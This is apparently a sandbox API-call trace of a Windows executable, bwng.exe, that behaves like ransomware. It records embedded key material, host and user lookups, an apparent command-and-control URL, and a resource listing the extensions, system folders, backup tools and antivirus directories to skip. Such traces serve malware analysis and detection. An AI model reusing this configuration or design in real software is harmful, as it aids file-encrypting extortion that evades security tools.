MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=402, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 402 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=402, lpWideCharStr=0x1dc421c, cchWideChar=402 | out: lpWideCharStr="1536\r\n5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5\r\n00010001\r\n") returned 402 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", cchWideChar=384, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 384 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", cchWideChar=384, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", lpUsedDefaultChar=0x0) returned 384 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="00010001", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="00010001", cchWideChar=8, lpMultiByteStr=0x1e62ccc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00010001", lpUsedDefaultChar=0x0) returned 8 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpWideCharStr=0x18e60c, cchWideChar=2047 | out: lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5") returned 384 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2ac, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpWideCharStr=0x18e2ac, cchWideChar=2047 | out: lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 384 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="48043B5B4381B26E8207C30318A388590B7E8A73DCF1C7D68338819A8B590988525AA7C1DB69A149C2587AA2CD2B1461FF8CD05A804AFE7322E68904A996DE18AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e62cec, cbMultiByte=8, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="000100014381B26E8207C30318A388590B7E8A73DCF1C7D68338819A8B590988525AA7C1DB69A149C2587AA2CD2B1461FF8CD05A804AFE7322E68904A996DE18AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 8 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="E23B053E92548CC815ED7B0E722B54E5938A28B77CC0561BF3EB0FCDC23CFE689154082BA96EE0D91D32B6ABA0DA433E070F03C5DEB7F39FF45D255106B3F10BAFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="52F32E9EC6C2E90648B3AB01449176CBB589E370FBAFA7FF61C9B64BECDC5E7B3D09043995F5DF599802F78BC7C4399AF8AD5E12DD5C4AEFBC80748F08D15B93AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dcb78c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECE0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="71D3FE84883E1083D03CA8511172EA09855DDBB4CF093B8A5F0563F3448B49FAB53CD1CB9E39D2DA8B4D6C0A192A18F149BDED490F12017BF70932F07CEDE7170FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="0102E3FB9D92BCC28DDA5AE85E0CA3F521D67786661B232232F0019FF5584E729430EAF344C7C59C53051E3D7F06FE68CC4558D3440D9F00433D11AEB8BDCCAF0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1e62ccc, cbMultiByte=8, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="000000009D92BCC28DDA5AE85E0CA3F521D67786661B232232F0019FF5584E729430EAF344C7C59C53051E3D7F06FE68CC4558D3440D9F00433D11AEB8BDCCAF0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5忣발滎\x18륰@Ӥ") returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[DONE]: ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[DONE]: ", cchWideChar=8, lpMultiByteStr=0x1e62a8c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[DONE]: ", lpUsedDefaultChar=0x0) returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="494DCEE6F0485AF8", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="494DCEE6F0485AF8", cchWideChar=16, lpMultiByteStr=0x1e785b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="494DCEE6F0485AF8", lpUsedDefaultChar=0x0) returned 16 [0029.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb88, cchWideChar=2047 | out: lpWideCharStr="\rpﮤ\x18\x18\x18") returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a0b4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0029.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb88, cchWideChar=2047 | out: lpWideCharStr="\npﮤ\x18\x18\x18") returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a0b4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0029.604] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18fba8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fba8*=0x1a, lpOverlapped=0x0) returned 1 [0029.606] ExpandEnvironmentStringsW (in: lpSrc="%COMPUTERNAME%", lpDst=0x1dc41fc, nSize=0x8000 | out: lpDst="XDUWTFONO") returned 0xa [0029.606] ExpandEnvironmentStringsW (in: lpSrc="%USERNAME%", lpDst=0x1dc41fc, nSize=0x8000 | out: lpDst="5p5NrGJn0jS HALPmcxz") returned 0x15 [0029.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62a8c, cbMultiByte=12, lpWideCharStr=0x18ead4, cchWideChar=2047 | out: lpWideCharStr="BWNG_api_key\x01") returned 12 [0029.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=21, lpWideCharStr=0x18ead0, cchWideChar=2047 | out: lpWideCharStr="http://ghb.timerz.org畃\x18ﮤ\x18\x01") returned 21 [0029.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1e8e264 | out: lpThreadId=0x1e8e264*=0x6c8) returned 0x12c [0029.606] SetThreadPriority (hThread=0x12c, nPriority=0) returned 1 [0029.606] ResumeThread (hThread=0x12c) returned 0x1 [0029.606] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.607] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a09c, cbMultiByte=4, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="BWNG\x01") returned 4 [0029.607] FindResourceW (hModule=0x400000, lpName="NDNF", lpType=0xa) returned 0x4f5480 [0029.607] LoadResource (hModule=0x400000, hResInfo=0x4f5480) returned 0x5262f8 [0029.607] SizeofResource (hModule=0x400000, hResInfo=0x4f5480) returned 0x548 [0029.607] LockResource (hResData=0x5262f8) returned 0x5262f8 [0029.607] FreeResource (hResData=0x5262f8) returned 0 [0029.607] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.607] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.607] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.607] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.607] FreeResource (hResData=0x5260dc) returned 0 [0029.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1c94, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e15458, cbMultiByte=1352, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1352 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e15458, cbMultiByte=1352, lpWideCharStr=0x1dc41fc, cchWideChar=1352 | out: lpWideCharStr="[NF_START]\r\nVBS\r\nRTF\r\nBMP\r\nTMP\r\nRDP\r\nSEK\r\nICO\r\nDLL\r\nBLF\r\nRBS\r\nREGTRANS-MS\r\nSETTINGCONTENT-MS\r\nSEARCH-MS\r\nLOG\r\nXML\r\nLOG1\r\nLOG2\r\n[NF_END]\r\n[ND_START]\r\n\\PERFLOGS\\\r\n\\WINDOWS\\\r\n\\WINDOWS.OLD\\\r\n\\WINDOWS10UPGRADE\\\r\n\\$RECYCLE.BIN\\\r\n\\WINDOWS NT\\\r\n\\COMMON FILES\\\r\n\\TEMP\\\r\n\\BOOT\\\r\n\\MSOCACHE\\\r\n\\DEFAULT USER\\\r\nFILES\\ACRONIS\\\r\n(X86)\\ACRONIS\\\r\nFILES\\BACKUPCLIENT\\\r\n(X86)\\BACKUPCLIENT\\\r\nFILES\\BACKUP MANAGER\\\r\n(X86)\\BACKUP MANAGER\\\r\nFILES\\CARBONITE\\\r\n(X86)\\CARBONITE\\\r\nFILES\\GOOGLE\\DRIVE\\\r\n(X86)\\GOOGLE\\DRIVE\\\r\nFILES\\DROPBOX\\\r\n(X86)\\DROPBOX\\\r\nFILES\\MICROSOFT ONEDRIVE\\\r\n(X86)\\MICROSOFT ONEDRIVE\\\r\nFILES\\ONEDRIVE\\\r\n(X86)\\ONEDRIVE\\\r\nVNC\\\r\n\\INTERNET EXPLORER\\\r\n\\MICROSOFT\\OFFICE\\\r\n\\MICROSOFT OFFICE\\\r\n\\WINDOWS SIDEBAR\\\r\n\\WINDOWS MEDIA PLAYER\\\r\n\\DVD MAKER\\\r\n\\WINDOWSPOWERSHELL\\\r\n\\WINDOWS DEFENDER\\\r\n\\TOR BROWSER\\\r\n\\ASPNET_CLIENT\\\r\n\\REFERENCE ASSEMBLIES\\\r\n\\MICROSOFT\\PROVISIONING\\\r\n\\MICROSOFT SILVERLIGHT\\\r\n\\PROGRAMDATA\\MICROSOFT\\\r\n\\MICROSOFT\\CRYPTO\\\r\n\\WINDOWSAPPS\\\r\n\\7-ZIP\\\r\n\\WINRAR\\\r\n\\ESET\r\n\\AVAST\r\n\\MALWAREBYTES\r\n\\SYMANTEC ENDPOINT\r\n\\TREND MICRO\r\n\\BITDEFENDER\r\n\\PANDA SECURITY\r\n\\MCAFEE\r\n\\KASPERSKY LAB\r\n\\KASPERSKYLAB\r\n\\AVDEFENDER\r\n\\SOPHOS\r\n\\AVG\r\n[ND_END]\r\n[FEX_START]\r\nNTUSER.DAT\r\nNTUSER.POL\r\nNTUSER.DAT.LOG\r\nNTUSER.DAT.LOG1\r\nNTUSER.DAT.LOG2\r\nICONCACHE.DB\r\nTHUMBS.DB\r\nBOOTSECT.BAK\r\nBOOTMGR\r\nDEFAULT.RDP\r\nPAGEFILE.SYS\r\nHIBERFIL.SYS\r\nSWAPFILE.SYS\r\nWORDPAD.EXE\r\n[FEX_END]\r\n") returned 1352 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[NF_START]", cchCount2=10) returned 2 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[NF_END]", cchCount2=8) returned 2 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[ND_START]", cchCount2=10) returned 2 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[ND_END]", cchCount2=8) returned 